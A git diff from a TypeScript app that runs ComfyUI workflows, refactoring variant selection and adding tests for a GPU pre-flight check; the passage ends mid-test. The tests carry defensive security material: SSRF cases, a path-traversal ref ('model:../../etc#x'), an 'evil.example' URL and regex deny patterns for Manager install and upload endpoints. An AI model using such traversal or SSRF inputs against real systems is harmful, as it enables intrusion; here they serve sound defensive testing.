-const CAMERA_POSE_GRAPH: Record<string, string> = { "wan22-i2v-14b": "wan22-fun-camera-14b", "wan22-i2v-14b-lightx2v": "wan22-fun-camera-14b" };
-
-/**
- * Fuobe Marketing Image's Standalone product shot (params.extra.productShot with one product photo) runs the product-shot
- * graph: the product cut out with BiRefNet, put on white and relit into the scene (Qwen-Image-Edit 2509 + White_to_Scene).
- */
-const PRODUCT_SHOT_GRAPH: Record<string, string> = { "qwen-image-edit-2511-multi": "product-shot-qwen-edit-2509" };
-
/** Inputs a workflow handles its own way (the manifest doesn't say). */
const SLOT_RULES: Record<string, { reuse?: boolean; required?: string[]; hints?: Record<string, string>; views?: ViewSlots }> = {
// Edit graphs whose extra images feed TextEncodeQwenImageEditPlus: a repeated reference is harmless.
@@ -762,7 +761,6 @@ export async function prepareWorkflow(endpointTemplate: string, input: GenInput,
// "video-concat-{n}": one workflow per clip count.
const clips = input.videos ?? [];
if (endpointTemplate.includes("{n}") && clips.length > 4) throw new ProviderError("ComfyUI joins up to 4 clips at a time");
- let endpoint = endpointTemplate.replace("{n}", String(Math.max(2, Math.min(4, clips.length))));
const extra: Record<string, unknown> = { ...(input.extra ?? {}) };
// The second audio track (mux background): the canonical input when the runtime sends it, else params.extra.audio2.
const given2 = (input as GenInput & { audio2?: unknown }).audio2;
@@ -775,19 +773,18 @@ export async function prepareWorkflow(endpointTemplate: string, input: GenInput,
const f = await readRef(v);
extra[k] = await ctx.upload(f.data, f.contentType, f.name);
}
- // Soundtrack without a background stem: the single-track graph.
- if (ctx.op === "mux" && !audio2 && !extra.audio2 && loadManifest().workflows.some((w) => w.id === `${endpoint}-replace`)) endpoint = `${endpoint}-replace`;
- // EXR frames have graphs of their own (export, SDR to HDR).
- if (input.format === "exr" && (ctx.op === "export-video" || ctx.op === "sdr-to-hdr")) {
- const exr = exrWorkflow(ctx.op);
- if (loadManifest().workflows.some((w) => w.id === exr)) endpoint = exr;
- }
- // Fuobe DoP: a camera move Wan 2.2 Fun Camera makes natively (a pose, no LoRA needed) runs on its graph; a LoRA mixed
- // in is injected on its experts as on the plain image-to-video graph.
- const posed = CAMERA_POSE_GRAPH[endpoint];
- if (posed && typeof extra.cameraMotion === "string" && extra.cameraMotion) endpoint = posed;
- const shot = PRODUCT_SHOT_GRAPH[endpoint];
- if (shot && extra.productShot === true && (input.images?.length ?? 0) === 1 && loadManifest().workflows.some((w) => w.id === shot)) endpoint = shot;
+ // The variant this request runs (one graph per clip count, the single-track soundtrack, EXR frames, a Fun Camera pose,
+ // the product shot): src/lib/comfy-variants.ts, which the GPU pre-flight's gate reads too. A LoRA mixed into a pose is
+ // injected on its experts as on the plain image-to-video graph.
+ const endpoint = resolveWorkflowId(endpointTemplate, {
+ op: ctx.op,
+ clips: clips.length,
+ images: input.images?.length ?? 0,
+ format: input.format,
+ audio2: !!audio2 || !!extra.audio2,
+ extra,
+ has: (id) => loadManifest().workflows.some((w) => w.id === id),
+ });
delete extra.productShot;
const { manifest, workflow } = getWorkflow(endpoint);
@@ -1424,10 +1421,19 @@ export const comfyProvider: ProviderAdapter = {
},
worker,
);
- const body = (await res.json().catch(() => ({}))) as { prompt_id?: string; error?: { type?: string; message?: string }; node_errors?: unknown };
+ const body = (await res.json().catch(() => ({}))) as { prompt_id?: string; error?: { type?: string; message?: string; extra_info?: { class_type?: string } }; node_errors?: unknown };
if (!res.ok || !body.prompt_id) {
+ // What was missing, as a code its failed tile turns into "Fix it" (the GPU pre-flight's guided fix). The index names
+ // the pack a missing class comes from, so the message names that pack, not every pack the workflow uses.
+ let packOf: (cls: string) => string | undefined = () => undefined;
+ try {
+ const idx = loadIndex();
+ packOf = (cls) => Object.entries(idx.packs).find(([, p]) => p.classes.includes(cls))?.[0];
+ } catch {}
+ const fix = fixFromPromptError(body, manifest.id, manifest.models, packOf);
+ const missingClass = fix?.code === "comfy_missing_node" ? fix.items[0] : undefined;
// A node class the server doesn't have: name the pack to install (opt-in packs like ComfyUI-Whisper).
- const packs = manifest.customNodes.map((c) => c.name);
+ const packs = missingClass?.pack ? [missingClass.pack] : manifest.customNodes.map((c) => c.name);
const where = worker === "isolated" ? "the isolated ComfyUI worker" : "your ComfyUI";
const missingPack =
body.error?.type === "missing_node_type" && packs.length ? `This workflow needs the ${packs.join(" + ")} node pack${packs.length > 1 ? "s" : ""} on ${where} (see scripts/comfy/README.md)` : undefined;
@@ -1436,7 +1442,7 @@ export const comfyProvider: ProviderAdapter = {
let detail = body.node_errors && Object.keys(body.node_errors as object).length ? explainComfyError(body.node_errors, { ...manifest, models: [...manifest.models, ...loraModels] }) : (missingPack ?? body.error?.message);
if (detail && loraModels.some((l) => detail!.includes(`"${l.file}"`))) detail = `${detail}\nSet the LoRA folder in Settings → LoRAs and Fuobe downloads LoRAs before a run`;
if (!detail && !res.ok && worker === "isolated") throw isolatedAnswer("the prompt", res.status);
- throw new ProviderError(detail ?? `ComfyUI /prompt failed (${res.status})`, res.status);
+ throw Object.assign(new ProviderError(detail ?? `ComfyUI /prompt failed (${res.status})`, res.status), fix ? { fix } : {});
}
return { externalId: body.prompt_id, meta: { ...meta, generationId, ...(worker === "isolated" && { worker }) }, payload: wf };
},
diff --git a/tests/account-gpu.test.ts b/tests/account-gpu.test.ts
index 3ac96403..83c0a9bf 100644
--- a/tests/account-gpu.test.ts
+++ b/tests/account-gpu.test.ts
@@ -44,7 +44,11 @@ describe("Your GPU: the address", () => {
}
// A public name that resolves to a private address.
await expect(checkGpuAddress("https://sneaky.example", { resolve: async () => ["10.0.0.7"] })).rejects.toThrow(/own computer or network/);
- await expect(checkGpuAddress("http://owner-comfy.test:8188", { resolve: publicDns })).rejects.toThrow(/own ComfyUI/);
+ // The install's own ComfyUI by host, on any scheme, port or path (ComfyUI copies every route under /api), with one
+ // message that doesn't confirm the guess.
+ for (const url of ["http://owner-comfy.test:8188", "https://owner-comfy.test/api", "http://OWNER-comfy.test.:9000/", "https://owner-comfy.test:8188/api/"]) {
+ await expect(checkGpuAddress(url, { resolve: publicDns }), url).rejects.toThrow(/can't use this address/);
+ }
await expect(checkGpuAddress("ftp://x.example", { resolve: publicDns })).rejects.toBeInstanceOf(GpuError);
await expect(checkGpuAddress("https://user:[email protected]", { resolve: publicDns })).rejects.toThrow(/token field/);
});
diff --git a/tests/comfy-provider.test.ts b/tests/comfy-provider.test.ts
index b012ddd7..6c23666f 100644
--- a/tests/comfy-provider.test.ts
+++ b/tests/comfy-provider.test.ts
@@ -354,15 +354,18 @@ describe("ComfyUI uploads and submit", () => {
expect(mediaInfoFor(await comfyProvider.prepareFile(Buffer.from("\x89PNG...."), "image/png", "a.png"))).toBeUndefined();
});
- it("names the node pack to install when ComfyUI lacks a node class", async () => {
+ it("names the node pack to install when ComfyUI lacks a node class: the missing class's pack, with a code for Fix it", async () => {
handler = (url) =>
url.endsWith("/prompt")
? json({ error: { type: "missing_node_type", message: "Node 'Apply Whisper' not found. The custom node may not be installed." }, node_errors: {} }, 400)
: json({});
const whisperRoute: ModelRoute = { op: "captions", provider: "comfyui", endpoint: "captions-whisper-burnin" };
- await expect(
- comfyProvider.submit({ generationId: "g-np", model, route: whisperRoute, input: { video: "clip.mp4", prompt: "" } }),
- ).rejects.toThrow("This workflow needs the ComfyUI-VideoHelperSuite + ComfyUI-Whisper node packs on your ComfyUI (see scripts/comfy/README.md)");
+ const err = (await comfyProvider.submit({ generationId: "g-np", model, route: whisperRoute, input: { video: "clip.mp4", prompt: "" } }).then(
+ () => new Error("submitted"),
+ (e: unknown) => e,
+ )) as Error & { fix?: unknown };
+ expect(err.message).toBe("This workflow needs the ComfyUI-Whisper node pack on your ComfyUI (see scripts/comfy/README.md)");
+ expect(err.fix).toEqual({ code: "comfy_missing_node", workflowId: "captions-whisper-burnin", items: [{ class: "Apply Whisper", pack: "ComfyUI-Whisper" }] });
});
});
diff --git a/tests/gpu-api.test.ts b/tests/gpu-api.test.ts
new file mode 100644
index 00000000..db7e36aa
--- /dev/null
+++ b/tests/gpu-api.test.ts
@@ -0,0 +1,261 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
+import { NextRequest } from "next/server";
+import { startFakeComfy, readyFor, type FakeComfy } from "./helpers/fake-comfy";
+
+vi.mock("next/server", async (importOriginal) => ({ ...(await importOriginal<typeof import("next/server")>()), connection: async () => {} }));
+vi.setConfig({ testTimeout: 30_000 });
+
+const dir = fs.mkdtempSync(path.join(os.tmpdir(), "fuobe-gpu-api-"));
+process.env.FUOBE_DATA_DIR = dir;
+process.env.FUOBE_PUBLIC_SIGNUP = "1";
+delete process.env.FUOBE_PASSWORD;
+delete process.env.FUOBE_ALLOW_PRIVATE_URLS;
+delete process.env.FUOBE_GPU_PREFLIGHT;
+
+const auth = await import("@/server/auth");
+const { proxy } = await import("@/proxy");
+const { loadIndex } = await import("@/server/gpu/index-file");
+const { gpuTargetFor } = await import("@/server/gpu/target");
+const { gateGeneration } = await import("@/server/gpu/gate");
+const { db } = await import("@/server/db");
+const { setSetting } = await import("@/server/settings");
+const requirements = await import("@/app/api/gpu/requirements/route");
+const readiness = await import("@/app/api/gpu/readiness/route");
+const badges = await import("@/app/api/gpu/badges/route");
+const check = await import("@/app/api/gpu/check/route");
+const plan = await import("@/app/api/gpu/plan/route");
+const inventory = await import("@/app/api/gpu/inventory/route");
+const generations = await import("@/app/api/generations/route");
+
+const idx = loadIndex();
+const Z = "z-image-turbo-t2i";
+const fakes: FakeComfy[] = [];
+afterAll(async () => {
+ globalThis.__fuobeGpuTestTransport = undefined;
+ await Promise.all(fakes.map((f) => f.close()));
+ try {
+ fs.rmSync(dir, { recursive: true, force: true });
+ } catch {}
+});
+
+/** Account GPUs live at "<name>.gpu.test:<port>"; the tests resolve those names to the fake server (no env switch). */
+beforeAll(() => {
+ auth.setPassword("install password");
+ globalThis.__fuobeGpuTestTransport = { resolve: async (h) => (h.endsWith(".gpu.test") ? ["127.0.0.1"] : ["203.0.113.9"]), blocked: () => false };
+});
+
+async function fake(s: Parameters<typeof startFakeComfy>[0]) {
+ const f = await startFakeComfy(s);
+ fakes.push(f);
+ return f;
+}
+
+let n = 0;
+/** A new account whose GPU is this fake ComfyUI. Returns its session cookie value. */
+function account(f: FakeComfy | null): { cookie: string; id: string } {
+ const a = auth.createAccount(`gpu${++n}@example.com`, "long enough");
+ if (f) auth.setAccountGpu(a.id, { url: `http://a${n}.gpu.test:${f.port}` });
+ return { cookie: auth.createSession(a.id).value, id: a.id };
+}
+
+function req(url: string, o: { method?: string; cookie?: string; headers?: Record<string, string>; body?: unknown } = {}) {
+ const headers: Record<string, string> = { host: "localhost:3000", "sec-fetch-site": "same-origin", ...o.headers };
+ if (o.cookie) headers.cookie = `${auth.SESSION_COOKIE}=${o.cookie}`;
+ return new NextRequest(`http://localhost:3000${url}`, { method: o.method ?? "GET", headers, ...(o.body !== undefined && { body: JSON.stringify(o.body) }) });
+}
+
+async function runCheck(cookie?: string, headers?: Record<string, string>) {
+ const res = await check.POST(req("/api/gpu/check", { method: "POST", cookie, headers }));
+ const text = res.status === 200 ? await res.text() : "";
+ return { res, events: text.split("\n").filter(Boolean).map((l) => JSON.parse(l) as { type: string; step?: string; state?: string; report?: unknown; connected?: boolean }) };
+}
+
+describe("guests", () => {
+ it("read the index, get { connected: false } for the board and chips, and a 401 for a check", async () => {
+ const r = proxy(req("/api/gpu/requirements"));
+ expect(r.headers.get("x-middleware-next")).toBe("1");
+ const res = await requirements.GET(req("/api/gpu/requirements"));
+ expect(res.headers.get("etag")).toBe(`"${idx.hash}"`);
+ expect(res.headers.get("cache-control")).toContain("max-age=3600");
+ expect((await requirements.GET(req("/api/gpu/requirements", { headers: { "if-none-match": `"${idx.hash}"` } }))).status).toBe(304);
+ for (const p of ["/api/gpu/readiness", "/api/gpu/badges"]) expect(await proxy(req(p)).json()).toMatchObject({ connected: false });
+ expect(proxy(req("/api/gpu/check", { method: "POST" })).status).toBe(401);
+ expect(proxy(req("/api/gpu/plan?ref=preset:app-face-swap")).status).toBe(401);
+ });
+});
+
+describe("an account", () => {
+ it("passes the proxy for its own reads and its check", () => {
+ const { cookie } = account(null);
+ for (const p of ["/api/gpu/readiness", "/api/gpu/badges", "/api/gpu/plan?ref=preset:app-face-swap"]) expect(proxy(req(p, { cookie })).headers.get("x-middleware-next"), p).toBe("1");
+ expect(proxy(req("/api/gpu/check", { method: "POST", cookie })).headers.get("x-middleware-next")).toBe("1");
+ });
+
+ it("without a GPU gets { connected: false, reason: no-gpu }", async () => {
+ const { cookie } = account(null);
+ expect(await (await readiness.GET(req("/api/gpu/readiness", { cookie }))).json()).toMatchObject({ connected: false, reason: "no-gpu" });
+ expect(await (await badges.GET(req("/api/gpu/badges", { cookie }))).json()).toMatchObject({ connected: false });
+ });
+
+ it("checks its own GPU only, streams the lines, then the board, reads only, and writes an audit row", async () => {
+ const f = await fake(readyFor(idx, [Z], { manager: { api: "v4", installed: {} }, argv: ["main.py", "--enable-manager"] }));
+ const { cookie, id } = account(f);
+ const { res, events } = await runCheck(cookie);
+ expect(res.status).toBe(200);
+ expect(res.headers.get("content-type")).toContain("application/x-ndjson");
+ expect(res.headers.get("cache-control")).toContain("no-transform");
+ const lines = events.filter((e) => e.type === "line");
+ expect(lines.some((l) => l.step === "found" && l.state === "done")).toBe(true);
+ expect(events.at(-1)).toMatchObject({ type: "report", connected: true });
+ expect(f.requests.length).toBeGreaterThan(5);
+ expect(f.requests.filter((r) => r.method !== "GET")).toEqual([]);
+ const view = await (await readiness.GET(req("/api/gpu/readiness", { cookie }))).json();
+ const image = view.report.studios.find((s: { href: string }) => s.href === "/image");
+ expect(image.tool.state).toBe("ready");
+ const map = await (await badges.GET(req("/api/gpu/badges", { cookie }))).json();
+ expect(map.connected).toBe(true);
+ expect(map.models["oss-z-image-turbo#t2i"][0]).toBe("r");
+ const rows = db().prepare("SELECT * FROM gpu_audit WHERE target_key = ?").all(`acct:${id}`) as { action: string; host: string; result: string }[];
+ expect(rows[0]).toMatchObject({ action: "check", result: "ok" });
+ expect(rows[0].host).toMatch(/gpu\.test/);
+ // Again within 10 s: 429.
+ expect((await runCheck(cookie)).res.status).toBe(429);
+ });
+
+ it("is refused a check from an API token, another site or a request that isn't from the page", async () => {
+ const f = await fake(readyFor(idx, [Z]));
+ const { cookie } = account(f);
+ const { token } = auth.createToken("t");
+ expect((await check.POST(req("/api/gpu/check", { method: "POST", headers: { authorization: `Bearer ${token}` } }))).status).toBe(403);
+ expect((await check.POST(req("/api/gpu/check", { method: "POST", cookie, headers: { "sec-fetch-site": "cross-site" } }))).status).toBe(403);
+ expect((await check.POST(req("/api/gpu/check", { method: "POST", cookie, headers: { "sec-fetch-site": "none" } }))).status).toBe(403);
+ expect((await inventory.PUT(req("/api/gpu/inventory", { method: "PUT", cookie, body: {} }))).status).toBe(409);
+ expect(f.requests).toEqual([]);
+ });
+
+ it("never reaches the studio's own ComfyUI, by any scheme, port or path", async () => {
+ setSetting("comfyUrl", "https://owner-comfy.example:8443");
+ try {
+ for (const url of ["https://owner-comfy.example/api", "http://OWNER-comfy.example.:9000"]) {
+ const a = auth.createAccount(`own${++n}@example.com`, "long enough");
+ auth.setAccountGpu(a.id, { url });
+ const r = req("/api/gpu/check", { method: "POST", cookie: auth.createSession(a.id).value });
+ expect(gpuTargetFor(r, "read")).toEqual({ kind: "none", reason: "refused" });
+ const res = await check.POST(r);
+ expect(res.status).toBe(409);
+ expect((await res.json()).error).toBe("Fuobe can't use this address. Connect your own ComfyUI.");
+ }
+ } finally {
+ setSetting("comfyUrl", "http://127.0.0.1:8188");
+ }
+ });
+
+ it("reaches 127.0.0.1 only through the test hook: without it fetchPublic refuses the address", async () => {
+ const f = await fake(readyFor(idx, [Z]));
+ const a = auth.createAccount(`loop${++n}@example.com`, "long enough");
+ auth.setAccountGpu(a.id, { url: `http://localhost:${f.port}` });
+ const saved = globalThis.__fuobeGpuTestTransport;
+ globalThis.__fuobeGpuTestTransport = undefined;
+ try {
+ const { events } = await runCheck(auth.createSession(a.id).value);
+ expect(events.at(-1)).toMatchObject({ type: "report", problem: "unreachable" });
+ expect(f.requests).toEqual([]);
+ } finally {
+ globalThis.__fuobeGpuTestTransport = saved;
+ }
+ });
+
+ it("gets a plan from refs only, never with a token, and a 400 for anything else", async () => {
+ const s = readyFor(idx, [Z]);
+ s.files = {};
+ s.combos = {};
+ const f = await fake(s);
+ const { cookie } = account(f);
+ await runCheck(cookie);
+ const res = await plan.GET(req(`/api/gpu/plan?ref=${encodeURIComponent("model:oss-z-image-turbo#t2i")}`, { cookie }));
+ const p = await res.json();
+ expect(res.status).toBe(200);
+ expect(["almost", "setup"]).toContain(p.state);
+ expect(p.steps.some((x: { kind: string }) => x.kind === "model")).toBe(true);
+ expect(p.commands.bash).toContain("curl -L -C - --fail");
+ expect(p.alternatives.cloud).toBeUndefined();
+ expect(JSON.stringify(p)).not.toMatch(/token=/);
+ for (const bad of ["https://evil.example/x", "model:../../etc#x", ""]) expect((await plan.GET(req(`/api/gpu/plan?ref=${encodeURIComponent(bad)}`, { cookie }))).status).toBe(400);
+ });
+});
+
+describe("the gate before a run (§13.1)", () => {
+ const body = { feature: "image", modelId: "oss-z-image-turbo", op: "t2i" as const, prompt: "a koi pond at night" };
+
+ it("stops a run whose model is missing with 409 gpu-setup and the plan, before anything is queued", async () => {
+ const s = readyFor(idx, [Z]);
+ s.files = {};
+ s.combos = {};
+ const f = await fake(s);
+ const { cookie } = account(f);
+ await runCheck(cookie);
+ const before = (db().prepare("SELECT COUNT(*) AS n FROM generations").get() as { n: number }).n;
+ const res = await generations.POST(req("/api/generations", { method: "POST", cookie, body }));
+ expect(res.status).toBe(409);
+ expect(res.headers.get("x-fuobe-gpu-setup")).toBe("1");
+ const j = await res.json();
+ expect(j).toMatchObject({ code: "gpu-setup", ref: "model:oss-z-image-turbo#t2i" });
+ expect(j.plan.steps.length).toBeGreaterThan(0);
+ expect((db().prepare("SELECT COUNT(*) AS n FROM generations").get() as { n: number }).n).toBe(before);
+ expect(f.requests.some((r) => r.path.includes("/prompt"))).toBe(false);
+ });
+
+ it("lets it through when the check is unknown, when only graphics memory is short, or with gpuCheck skip", async () => {
+ const plain = { request: { ...body, account: "x", engine: "open" as const }, route: { provider: "comfyui", endpoint: Z }, op: "t2i", modelId: "oss-z-image-turbo", actor: "x" };
+ // No check yet.
+ const fresh = account(await fake(readyFor(idx, [Z])));
+ expect(await gateGeneration(gpuTargetFor(req("/", { cookie: fresh.cookie }), "read"), plain)).toEqual({ ok: true });
+ // Everything there on a 4 GB card.
+ const small = account(await fake(readyFor(idx, [Z], { devices: [{ name: "cuda:0 Small", type: "cuda", vramGb: 4 }] })));
+ await runCheck(small.cookie);
+ expect(await gateGeneration(gpuTargetFor(req("/", { cookie: small.cookie }), "read"), plain)).toEqual({ ok: true });
+ // Something missing, but the person said run anyway.
+ const s = readyFor(idx, [Z]);
+ s.files = {};
+ s.combos = {};
+ const missing = account(await fake(s));
+ await runCheck(missing.cookie);
+ const t = gpuTargetFor(req("/", { cookie: missing.cookie }), "read");
+ expect(await gateGeneration(t, { ...plain, skip: true })).toEqual({ ok: true });
+ expect((await gateGeneration(t, plain)).ok).toBe(false);
+ // A cloud route is never checked.
+ expect(await gateGeneration(t, { ...plain, route: { provider: "fal", endpoint: "x" } })).toEqual({ ok: true });
+ });
+
+ it("is switched off with FUOBE_GPU_PREFLIGHT=0", async () => {
+ process.env.FUOBE_GPU_PREFLIGHT = "0";
+ try {
+ const { cookie } = account(null);
+ expect(await (await readiness.GET(req("/api/gpu/readiness", { cookie }))).json()).toMatchObject({ connected: false, reason: "off" });
+ expect(await (await badges.GET(req("/api/gpu/badges", { cookie }))).json()).toMatchObject({ connected: false, off: true });
+ expect((await check.POST(req("/api/gpu/check", { method: "POST", cookie }))).status).toBe(404);
+ } finally {
+ delete process.env.FUOBE_GPU_PREFLIGHT;
+ }
+ });
+});
+
+describe("no secrets and no installs", () => {
+ it("keeps src/lib/gpu and src/server/gpu away from the owner's LoRA keys and from any Manager write", () => {
+ const files = [...fs.readdirSync("src/lib/gpu").map((f) => `src/lib/gpu/${f}`), ...fs.readdirSync("src/server/gpu").map((f) => `src/server/gpu/${f}`)];
+ for (const f of files) {
+ const text = fs.readFileSync(f, "utf8");
+ expect(text, f).not.toMatch(/withToken|ensureLorasOnComfy|prepareCloudLoras|server\/loras/);
+ expect(text, f).not.toMatch(/queue\/(task|install|install_model|start|reset)|manager\/reboot|\/upload\/|"\/prompt"|internal\/logs/);
+ }
+ // Nothing that runs on its own (Assist, MCP, schedules) imports the pre-flight's server side.
+ for (const f of fs.readdirSync("src/server/assist", { recursive: true }) as string[]) {
+ if (!/\.tsx?$/.test(f)) continue;
+ expect(fs.readFileSync(path.join("src/server/assist", f), "utf8"), f).not.toMatch(/server\/gpu|from "\.\.\/gpu/);
+ }
+ expect(fs.readFileSync("src/server/mcp.ts", "utf8")).not.toMatch(/server\/gpu|"\.\/gpu/);
+ });
+});
diff --git a/tests/gpu-probe.test.ts b/tests/gpu-probe.test.ts
new file mode 100644
index 00000000..18efed3d
--- /dev/null
+++ b/tests/gpu-probe.test.ts
@@ -0,0 +1,161 @@
+import fs from "node:fs";
+import path from "node:path";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { gatherInventory, OBJECT_INFO_MAX_BYTES } from "@/lib/gpu/gather";
+import { TopLevelScanner, comboOptions } from "@/lib/gpu/json-scan";
+import { filePresence, toolReadiness } from "@/lib/gpu/readiness";
+import { parseIndex } from "@/lib/gpu/requirements";
+import { fetchTransport, TransportError } from "@/lib/gpu/transport";
+import type { CheckLine, RequirementIndex } from "@/lib/gpu/types";
+import { startFakeComfy, type FakeComfy, type FakeScenario } from "./helpers/fake-comfy";
+
+vi.setConfig({ testTimeout: 30_000 });
+
+const idx: RequirementIndex = parseIndex(JSON.parse(fs.readFileSync(path.join(process.cwd(), "workflows/comfyui/requirements.json"), "utf8")));
+const zImage = idx.workflows["z-image-turbo-t2i"];
+
+/** A ComfyUI that has everything Z-Image Turbo's text-to-image graph needs. */
+function zImageReady(extra: Partial<FakeScenario> = {}): FakeScenario {
+ const files: Record<string, { name: string; size: number }[]> = {};
+ const combos: Record<string, Record<string, string[]>> = {};
+ for (const k of zImage.files) {
+ const f = idx.files[k];
+ (files[f.folder] ??= []).push({ name: f.file, size: f.sizeBytes });
+ for (const [cls, input] of f.loaders ?? []) ((combos[cls] ??= {})[input] ??= []).push(f.file);
+ }
+ return { classes: [...zImage.core], files, combos, folders: idx.folders.filter((f) => !["mmaudio", "foley", "thinksound", "insightface", "facerestore_models"].includes(f)), ...extra };
+}
+
+let fake: FakeComfy | null = null;
+afterEach(async () => {
+ await fake?.close();
+ fake = null;
+});
+
+const transport = (url: string, headers: Record<string, string> = {}) => fetchTransport("server", url, (u, init) => fetch(u, init), { headers, decodes: false });
+
+describe("the probe", () => {
+ it("reads a ready ComfyUI and says so line by line", async () => {
+ fake = await startFakeComfy(zImageReady({ manager: { api: "v4", installed: {} }, argv: ["main.py", "--enable-manager"] }));
+ const lines: CheckLine[] = [];
+ const inv = await gatherInventory(transport(fake.url), idx, { onLine: (l) => lines.push(l) });
+ expect(inv.reachable).toBe(true);
+ expect(inv.comfy?.version).toBe("0.41.2");
+ expect(inv.nodes.how).toBe("object_info");
+ expect(inv.manager.api).toBe("v4");
+ expect(inv.devices[0].vramTotal).toBe(12 * 2 ** 30);
+ const t = toolReadiness("model:oss-z-image-turbo#t2i", "Z-Image Turbo", ["z-image-turbo-t2i"], [], inv, idx, { account: true });
+ expect(t.state).toBe("ready");
+ expect(lines.find((l) => l.step === "found" && l.state === "done")?.text).toMatch(/Found ComfyUI 0\.41\.2/);
+ expect(lines.find((l) => l.step === "gpu")?.text).toBe("Graphics card: NVIDIA GeForce RTX 4070, 12 GB");
+ expect(inv.fingerprint).toMatch(/^[0-9a-f]{64}$/);
+ });
+
+ it("only reads (R8): GETs, plus the Manager's import-error lookup, never a prompt or an upload", async () => {
+ const kj = idx.packs["ComfyUI-KJNodes"];
+ fake = await startFakeComfy({
+ ...zImageReady(),
+ argv: ["main.py", "--enable-manager"],
+ manager: { api: "v4", installed: { "comfyui-kjnodes": { cnr_id: "comfyui-kjnodes", ver: "1.0.0", enabled: true } }, importErrors: { "comfyui-kjnodes": "Traceback: No module named 'color_matcher'" } },
+ });
+ const inv = await gatherInventory(transport(fake.url), idx);
+ expect(inv.packs["ComfyUI-KJNodes"]?.importError).toMatch(/color_matcher/);
+ const posts = fake.requests.filter((r) => r.method !== "GET");
+ expect(posts.map((r) => r.path)).toEqual(["/v2/customnode/import_fail_info_bulk"]);
+ expect(JSON.parse(posts[0].body)).toEqual({ cnr_ids: [kj.registry!.id], urls: [] });
+ expect(fake.requests.some((r) => /\/(prompt|upload|internal)/.test(r.path))).toBe(false);
+ });
+
+ it("falls back to one class at a time when /object_info is refused, and reads the /api prefix", async () => {
+ fake = await startFakeComfy({ ...zImageReady(), apiPrefixOnly: true, objectInfoStatus: 500 });
+ const inv = await gatherInventory(transport(fake.url), idx);
+ expect(inv.comfy?.apiPrefix).toBe("/api");
+ expect(inv.nodes.how).toBe("per-class");
+ expect(fake.requests.some((r) => r.path.startsWith("/api/object_info/"))).toBe(true);
+ // Loader classes are read one by one too, so files still count by their loader.
+ const f = idx.files[zImage.files[0]];
+ expect(filePresence(f, inv)).toBe("present");
+ });
+
+ it("cuts off a /object_info over the cap and still finishes", async () => {
+ expect(OBJECT_INFO_MAX_BYTES).toBe(64 * 1024 * 1024);
+ fake = await startFakeComfy({ ...zImageReady(), objectInfoPadBytes: 3 * 1024 * 1024 });
+ const small = fetchTransport("server", fake.url, (u, init) => fetch(u, init));
+ const res = await small.request("GET", "/object_info", { maxBytes: 1024 * 1024 });
+ await expect(res.text()).rejects.toBeInstanceOf(TransportError);
+ });
+
+ it("stops a server that drips bytes at the deadline", async () => {
+ fake = await startFakeComfy({ ...zImageReady(), drip: ["/object_info"] });
+ const t0 = Date.now();
+ const res = await transport(fake.url).request("GET", "/object_info", { timeoutMs: 800 });
+ await expect(res.text()).rejects.toMatchObject({ kind: "timeout" });
+ expect(Date.now() - t0).toBeLessThan(5000);
+ });
+
+ it("refuses a compressed body it can't read with a cap", async () => {
+ fake = await startFakeComfy({ ...zImageReady(), gzip: true });
+ await expect(transport(fake.url).request("GET", "/system_stats")).rejects.toMatchObject({ kind: "encoding" });
+ });
+
+ it("tells a wrong key, a web page, a Cloudflare Access login and a dead link apart", async () => {
+ fake = await startFakeComfy({ ...zImageReady(), auth: { header: "Authorization", value: "Bearer right" } });
+ expect((await gatherInventory(transport(fake.url), idx)).problem).toBe("auth");
+ const ok = await gatherInventory(transport(fake.url, { Authorization: "Bearer right" }), idx);
+ expect(ok.reachable).toBe(true);
+ await fake.close();
+ fake = await startFakeComfy({ ...zImageReady(), html: true });
+ expect((await gatherInventory(transport(fake.url), idx)).problem).toBe("not-comfy");
+ await fake.close();
+ fake = await startFakeComfy({ ...zImageReady(), redirect: "https://team.cloudflareaccess.com/cdn-cgi/access/login" });
+ expect((await gatherInventory(transport(fake.url), idx)).problem).toBe("auth");
+ await fake.close();
+ fake = await startFakeComfy({ ...zImageReady(), redirect: "https://elsewhere.example/" });
+ expect((await gatherInventory(transport(fake.url), idx)).problem).toBe("redirect");
+ const port = fake.port;
+ await fake.close();
+ fake = null;
+ expect((await gatherInventory(transport(`http://127.0.0.1:${port}`), idx, { statsTimeoutMs: 1500 })).problem).toBe("unreachable");
+ });
+
+ it("gives a partial snapshot when a step times out", async () => {
+ fake = await startFakeComfy({ ...zImageReady(), slow: { "/models": 3000 } });
+ const inv = await gatherInventory(transport(fake.url), idx, { budgetMs: 2000 });
+ expect(inv.reachable).toBe(true);
+ expect(inv.errors.some((e) => e.step === "models")).toBe(true);
+ // What wasn't read isn't missing.
+ const t = toolReadiness("model:oss-z-image-turbo#t2i", "Z-Image Turbo", ["z-image-turbo-t2i"], [], inv, idx, { account: true });
+ expect(t.state).toBe("ready");
+ });
+
+ it("reads folder listings, plain ones on an older ComfyUI, and marks folders that aren't there", async () => {
+ const s = zImageReady({ noExperiment: true, combos: {} });
+ s.folders = s.folders!.filter((f) => f !== "loras");
+ fake = await startFakeComfy(s);
+ const inv = await gatherInventory(transport(fake.url), idx, { loraNames: ["some_style.safetensors"] });
+ const f = idx.files[zImage.files[0]];
+ expect(inv.models[f.folder].have[f.file]).toBeNull();
+ expect(filePresence(f, inv)).toBe("present");
+ expect(inv.models.loras?.folderMissing).toBe(true);
+ expect(inv.models.mmaudio?.folderMissing).toBe(true);
+ });
+});
+
+describe("reading a big /object_info a piece at a time", () => {
+ it("keeps the keys and the asked-for values only", () => {
+ const body = JSON.stringify({ A: { input: { required: { x: [["one.safetensors", "two.safetensors"]] } } }, "B \"quoted\"": { n: [1, { "}": "{" }] }, C: 3 });
+ const sc = new TopLevelScanner(new Set(["A", "C"]));
+ for (let i = 0; i < body.length; i += 7) sc.push(body.slice(i, i + 7));
+ expect(sc.done()).toBe(true);
+ expect(sc.keys).toEqual(["A", 'B "quoted"', "C"]);
+ expect(comboOptions(sc.captured.A, "x")).toEqual(["one.safetensors", "two.safetensors"]);
+ expect(sc.captured.C).toBe(3);
+ expect(sc.captured).not.toHaveProperty('B "quoted"');
+ });
+
+ it("reads both combo shapes", () => {
+ expect(comboOptions({ input: { required: { m: ["COMBO", { options: ["a.gguf"] }] } } }, "m")).toEqual(["a.gguf"]);
+ expect(comboOptions({ input: { optional: { m: [["b.pth"], {}] } } }, "m")).toEqual(["b.pth"]);
